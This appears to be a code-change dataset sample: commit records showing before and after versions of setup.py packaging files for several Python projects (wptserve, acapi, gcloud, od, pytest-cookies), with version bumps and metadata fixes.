from setuptools import setup PACKAGE_VERSION = '1.0' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 5 - Production/Stable", "License :: OSI Approved :: BSD License", "Topic :: Internet :: WWW/HTTP :: HTTP Servers"], keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
from setuptools import setup PACKAGE_VERSION = '0.1' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps ) Update package version to 1.0from setuptools import setup PACKAGE_VERSION = '1.0' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 5 - Production/Stable", "License :: OSI Approved :: BSD License", "Topic :: Internet :: WWW/HTTP :: HTTP Servers"], keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
<commit_before>from setuptools import setup PACKAGE_VERSION = '0.1' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps ) <commit_msg>Update package version to 1.0<commit_after>from setuptools import setup PACKAGE_VERSION = '1.0' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 5 - Production/Stable", "License :: OSI Approved :: BSD License", "Topic :: Internet :: WWW/HTTP :: HTTP Servers"], keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
7c26bd1281a36b72d457fadb4c656661c5355c4e
setup.py
setup.py
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, long_description_content_type="text/markdown", author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
Fix long description content type
Fix long description content type
Python
mit
skwashd/python-acquia-cloud
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], ) Fix long description content type
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, long_description_content_type="text/markdown", author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
<commit_before>#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], ) <commit_msg>Fix long description content type<commit_after>
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, long_description_content_type="text/markdown", author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], ) Fix long description content type#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, long_description_content_type="text/markdown", author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
<commit_before>#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], ) <commit_msg>Fix long description content type<commit_after>#!/usr/bin/env python """Setup ACAPI package.""" import os from setuptools import setup with open(os.path.join(os.path.dirname(__name__), "README.md")) as f: long_description = f.read() setup( name="acapi", version="0.8.1", description="Acquia Cloud API client.", long_description=long_description, long_description_content_type="text/markdown", author="Dave Hall", author_email="me@davehall.com.au", url="http://github.com/skwashd/python-acquia-cloud", install_requires=["requests==2.22.0", "requests-cache==0.5.2"], license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Topic :: Internet", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], packages=["acapi", "acapi.resources"], )
7858a49b4544bdfde2d55f4ce401bf208eaea17e
setup.py
setup.py
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.02.2', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', package_data={'': ['gcloud/datastore/demo.key', 'gcloud/storage/demo.key']}, include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.3.0', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
Remove keys and update minor
Remove keys and update minor
Python
apache-2.0
jonparrott/gcloud-python,jbuberel/gcloud-python,googleapis/google-cloud-python,googleapis/google-cloud-python,jonparrott/gcloud-python,waprin/google-cloud-python,blowmage/gcloud-python,jgeewax/gcloud-python,jgeewax/gcloud-python,tseaver/gcloud-python,tseaver/google-cloud-python,GoogleCloudPlatform/gcloud-python,GoogleCloudPlatform/gcloud-python,lucemia/gcloud-python,waprin/google-cloud-python,quom/google-cloud-python,waprin/gcloud-python,EugenePig/gcloud-python,optimizely/gcloud-python,daspecster/google-cloud-python,VitalLabs/gcloud-python,EugenePig/gcloud-python,optimizely/gcloud-python,dhermes/google-cloud-python,CyrusBiotechnology/gcloud-python,tswast/google-cloud-python,elibixby/gcloud-python,tartavull/google-cloud-python,dhermes/google-cloud-python,tseaver/google-cloud-python,tartavull/google-cloud-python,jbuberel/gcloud-python,lucemia/gcloud-python,tseaver/gcloud-python,VitalLabs/gcloud-python,elibixby/gcloud-python,blowmage/gcloud-python,quom/google-cloud-python,thesandlord/gcloud-python,jonparrott/google-cloud-python,calpeyser/google-cloud-python,Fkawala/gcloud-python,GrimDerp/gcloud-python,CyrusBiotechnology/gcloud-python,dhermes/google-cloud-python,optimizely/gcloud-python,tseaver/google-cloud-python,tswast/google-cloud-python,tswast/google-cloud-python,vj-ug/gcloud-python,dhermes/gcloud-python,Fkawala/gcloud-python,daspecster/google-cloud-python,GrimDerp/gcloud-python,thesandlord/gcloud-python,jonparrott/google-cloud-python,dhermes/gcloud-python,vj-ug/gcloud-python,calpeyser/google-cloud-python,waprin/gcloud-python
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.02.2', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', package_data={'': ['gcloud/datastore/demo.key', 'gcloud/storage/demo.key']}, include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] ) Remove keys and update minor
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.3.0', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
<commit_before>import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.02.2', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', package_data={'': ['gcloud/datastore/demo.key', 'gcloud/storage/demo.key']}, include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] ) <commit_msg>Remove keys and update minor<commit_after>
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.3.0', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.02.2', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', package_data={'': ['gcloud/datastore/demo.key', 'gcloud/storage/demo.key']}, include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] ) Remove keys and update minorimport sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.3.0', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
<commit_before>import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.02.2', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', package_data={'': ['gcloud/datastore/demo.key', 'gcloud/storage/demo.key']}, include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] ) <commit_msg>Remove keys and update minor<commit_after>import sys try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages if sys.version_info <= (2, 5): raise Exception('Requires Python Version 2.6 or above... exiting.') REQUIREMENTS = [ 'httplib2', 'oauth2client', 'protobuf >= 2.5.0', 'pycrypto', 'pyopenssl', 'pytz', 'six', ] setup( name='gcloud', version='0.3.0', description='API Client library for Google Cloud', author='JJ Geewax', author_email='jj@geewax.org', scripts=[], url='https://github.com/GoogleCloudPlatform/gcloud-python', packages=find_packages(), license='Apache 2.0', platforms='Posix; MacOS X; Windows', include_package_data=True, zip_safe=False, install_requires=REQUIREMENTS, classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet', ] )
09f96a8c3dd9fdf605c17cc85b4b7ab66af30aeb
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup setup( name='od', version='2.0.0', description='Shorthand syntax for building OrderedDicts', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
#!/usr/bin/env python import pathlib from setuptools import setup here = pathlib.Path(__file__).parent.resolve() long_description = (here / "README.rst").read_text(encoding='utf-8') setup( name='od', version='2.0.1', description='Shorthand syntax for building OrderedDicts', long_description=long_description, long_description_content_type='text/x-rst', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
Fix long_description, bump to 2.0.1
Fix long_description, bump to 2.0.1
Python
mit
epsy/od
#!/usr/bin/env python from setuptools import setup setup( name='od', version='2.0.0', description='Shorthand syntax for building OrderedDicts', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], ) Fix long_description, bump to 2.0.1
#!/usr/bin/env python import pathlib from setuptools import setup here = pathlib.Path(__file__).parent.resolve() long_description = (here / "README.rst").read_text(encoding='utf-8') setup( name='od', version='2.0.1', description='Shorthand syntax for building OrderedDicts', long_description=long_description, long_description_content_type='text/x-rst', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name='od', version='2.0.0', description='Shorthand syntax for building OrderedDicts', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], ) <commit_msg>Fix long_description, bump to 2.0.1<commit_after>
#!/usr/bin/env python import pathlib from setuptools import setup here = pathlib.Path(__file__).parent.resolve() long_description = (here / "README.rst").read_text(encoding='utf-8') setup( name='od', version='2.0.1', description='Shorthand syntax for building OrderedDicts', long_description=long_description, long_description_content_type='text/x-rst', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
#!/usr/bin/env python from setuptools import setup setup( name='od', version='2.0.0', description='Shorthand syntax for building OrderedDicts', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], ) Fix long_description, bump to 2.0.1#!/usr/bin/env python import pathlib from setuptools import setup here = pathlib.Path(__file__).parent.resolve() long_description = (here / "README.rst").read_text(encoding='utf-8') setup( name='od', version='2.0.1', description='Shorthand syntax for building OrderedDicts', long_description=long_description, long_description_content_type='text/x-rst', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name='od', version='2.0.0', description='Shorthand syntax for building OrderedDicts', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], ) <commit_msg>Fix long_description, bump to 2.0.1<commit_after>#!/usr/bin/env python import pathlib from setuptools import setup here = pathlib.Path(__file__).parent.resolve() long_description = (here / "README.rst").read_text(encoding='utf-8') setup( name='od', version='2.0.1', description='Shorthand syntax for building OrderedDicts', long_description=long_description, long_description_content_type='text/x-rst', license='MIT', url='https://github.com/epsy/od', author='Yann Kaiser', author_email='kaiser.yann@gmail.com', py_modules=('od', 'test_od'), extras_require={ 'test': ['repeated_test'], }, keywords=[ 'OrderedDict', 'od', 'syntactic sugar', ], classifiers=[ "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", ], )
51810ebc49b135a8b2fb0ae40555ab4d3419a4a4
setup.py
setup.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=['pytest>=2.8.1'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
